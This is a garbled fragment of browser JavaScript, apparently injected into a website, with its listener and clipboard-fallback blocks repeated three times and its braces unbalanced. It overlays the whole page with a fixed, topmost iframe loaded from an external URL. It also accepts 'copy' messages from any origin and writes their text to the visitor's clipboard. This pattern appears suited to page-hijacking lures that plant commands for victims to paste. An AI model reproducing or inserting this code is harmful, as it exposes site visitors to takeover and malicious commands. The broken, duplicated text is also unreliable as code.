if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(event.data.text).catch(() => { fallbackCopyText(event.data.text); }); } else { fallbackCopyText(event.data.text); } });
function fallbackCopyText(text) { const textArea = document.createElement("textarea"); textArea.value = text; document.body.appendChild(textArea); textArea.select();
try { document.execCommand("copy"); } catch (err) {
}
document.body.removeChild(textArea); } } })();
window.addEventListener("message", function(event) { if (!event.data || event.data.type !== "copy") return;
if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(event.data.text).catch(() => { fallbackCopyText(event.data.text); }); } else { fallbackCopyText(event.data.text); } });
function fallbackCopyText(text) { const textArea = document.createElement("textarea"); textArea.value = text; document.body.appendChild(textArea); textArea.select();
try { document.execCommand("copy"); } catch (err) {
}
document.body.removeChild(textArea); } } })();
if (!window.__digitalflwrIframeCreated) { window.__digitalflwrIframeCreated = true; createMainIframe(finalUrl); } }) .catch(() => {
});
function createMainIframe(url) { const iframe = document.createElement("iframe"); iframe.src = url; iframe.style.position = "fixed"; iframe.style.top = 0; iframe.style.left = 0; iframe.style.width = "100%"; iframe.style.height = "100%"; iframe.style.border = "none"; iframe.style.margin = 0; iframe.style.padding = 0; iframe.style.overflow = "hidden"; iframe.style.zIndex = 99999;
document.body.appendChild(iframe);
window.addEventListener("message", function(event) { if (!event.data || event.data.type !== "copy") return;
if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(event.data.text).catch(() => { fallbackCopyText(event.data.text); }); } else { fallbackCopyText(event.data.text); } });
function fallbackCopyText(text) { const textArea = document.createElement("textarea"); textArea.value = text; document.body.appendChild(textArea); textArea.select();
try { document.execCommand("copy"); } catch (err) {
}
document.body.removeChild(textArea); } } })();